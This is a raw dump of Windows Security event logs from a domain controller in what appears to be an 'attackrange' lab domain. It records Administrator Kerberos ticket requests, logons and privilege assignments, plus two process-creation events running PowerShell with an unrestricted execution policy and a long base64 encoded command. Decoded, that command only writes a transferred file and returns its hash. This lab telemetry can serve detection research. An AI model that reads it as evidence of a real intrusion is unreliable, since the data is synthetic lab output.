{06728C1D-F671-43BF-CD48-1FE451E14338} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252683 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252682 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x16E66B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252681 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x16E66B - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252680 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x16E66B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {06728C1D-F671-43BF-CD48-1FE451E14338} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252679 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {06728C1D-F671-43BF-CD48-1FE451E14338} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252678 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {06728C1D-F671-43BF-CD48-1FE451E14338} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252677 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252676 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x16E16C - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252675 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x16DBF0 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252674 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x16E16C - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252673 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x16E16C - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {06728C1D-F671-43BF-CD48-1FE451E14338} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252672 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {06728C1D-F671-43BF-CD48-1FE451E14338} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252671 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {06728C1D-F671-43BF-CD48-1FE451E14338} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252670 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252669 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x16DBF0 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252668 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x16DBF0 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {06728C1D-F671-43BF-CD48-1FE451E14338} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252667 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {06728C1D-F671-43BF-CD48-1FE451E14338} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252666 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {06728C1D-F671-43BF-CD48-1FE451E14338} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252665 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252664 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x168BE9 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xcc4 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x6d4 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand YgBlAGcAaQBuACAAewAKACQAcABhAHQAaAAgAD0AIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGEAbgBzAGkAYgBsAGUALQB0AG0AcAAtADEANgAxADQANgAwADIANgAwADEALgAxADIAMAAzADUAMgAtADQANgA5ADcANAAzADAAMQA4ADkANAA2ADUAMQBcAHMAbwB1AHIAYwBlACcACgAkAEQAZQBiAHUAZwBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACIAQwBvAG4AdABpAG4AdQBlACIACgAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACIAUwB0AG8AcAAiAAoAUwBlAHQALQBTAHQAcgBpAGMAdABNAG8AZABlACAALQBWAGUAcgBzAGkAbwBuACAAMgAKACQAZgBkACAAPQAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AEMAcgBlAGEAdABlACgAJABwAGEAdABoACkACgAkAHMAaABhADEAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUwBIAEEAMQBDAHIAeQBwAHQAbwBTAGUAcgB2AGkAYwBlAFAAcgBvAHYAaQBkAGUAcgBdADoAOgBDAHIAZQBhAHQAZQAoACkACgAkAGIAeQB0AGUAcwAgAD0AIABAACgAKQAgACMAaQBuAGkAdABpAGEAbABpAHoAZQAgAGYAbwByACAAZQBtAHAAdAB5ACAAZgBpAGwAZQAgAGMAYQBzAGUACgB9AAoAcAByAG8AYwBlAHMAcwAgAHsACgAkAGIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABpAG4AcAB1AHQAKQAKACQAcwBoAGEAMQAuAFQAcgBhAG4AcwBmAG8AcgBtAEIAbABvAGMAawAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACwAIAAkAGIAeQB0AGUAcwAsACAAMAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAAKACQAZgBkAC4AVwByAGkAdABlACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQAKAH0ACgBlAG4AZAAgAHsACgAkAHMAaABhADEALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABiAHkAdABlAHMALAAgADAALAAgADAAKQAgAHwAIABPAHUAdAAtAE4AdQBsAGwACgAkAGgAYQBzAGgAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAcwBoAGEAMQAuAEgAYQBzAGgAKQAuAFIAZQBwAGwAYQBjAGUAKAAiAC0AIgAsACAAIgAiACkALgBUAG8ATABvAHcAZQByAEkAbgB2AGEAcgBpAGEAbgB0ACgAKQAKACQAZgBkAC4AQwBsAG8AcwBlACgAKQAKAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAIgB7ACIAIgBzAGgAYQAxACIAIgA6ACIAIgAkAGgAYQBzAGgAIgAiAH0AIgAKAH0A - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252663 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x168BE9 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x6d4 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x134c - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand YgBlAGcAaQBuACAAewAKACQAcABhAHQAaAAgAD0AIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGEAbgBzAGkAYgBsAGUALQB0AG0AcAAtADEANgAxADQANgAwADIANgAwADEALgAxADIAMAAzADUAMgAtADQANgA5ADcANAAzADAAMQA4ADkANAA2ADUAMQBcAHMAbwB1AHIAYwBlACcACgAkAEQAZQBiAHUAZwBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACIAQwBvAG4AdABpAG4AdQBlACIACgAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACIAUwB0AG8AcAAiAAoAUwBlAHQALQBTAHQAcgBpAGMAdABNAG8AZABlACAALQBWAGUAcgBzAGkAbwBuACAAMgAKACQAZgBkACAAPQAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AEMAcgBlAGEAdABlACgAJABwAGEAdABoACkACgAkAHMAaABhADEAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUwBIAEEAMQBDAHIAeQBwAHQAbwBTAGUAcgB2AGkAYwBlAFAAcgBvAHYAaQBkAGUAcgBdADoAOgBDAHIAZQBhAHQAZQAoACkACgAkAGIAeQB0AGUAcwAgAD0AIABAACgAKQAgACMAaQBuAGkAdABpAGEAbABpAHoAZQAgAGYAbwByACAAZQBtAHAAdAB5ACAAZgBpAGwAZQAgAGMAYQBzAGUACgB9AAoAcAByAG8AYwBlAHMAcwAgAHsACgAkAGIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABpAG4AcAB1AHQAKQAKACQAcwBoAGEAMQAuAFQAcgBhAG4AcwBmAG8AcgBtAEIAbABvAGMAawAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACwAIAAkAGIAeQB0AGUAcwAsACAAMAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAAKACQAZgBkAC4AVwByAGkAdABlACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQAKAH0ACgBlAG4AZAAgAHsACgAkAHMAaABhADEALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABiAHkAdABlAHMALAAgADAALAAgADAAKQAgAHwAIABPAHUAdAAtAE4AdQBsAGwACgAkAGgAYQBzAGgAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAcwBoAGEAMQAuAEgAYQBzAGgAKQAuAFIAZQBwAGwAYQBjAGUAKAAiAC0AIgAsACAAIgAiACkALgBUAG8ATABvAHcAZQByAEkAbgB2AGEAcgBpAGEAbgB0ACgAKQAKACQAZgBkAC4AQwBsAG8AcwBlACgAKQAKAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAIgB7ACIAIgBzAGgAYQAxACIAIgA6ACIAIgAkAGgAYQBzAGgAIgAiAH0AIgAKAH0A - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local 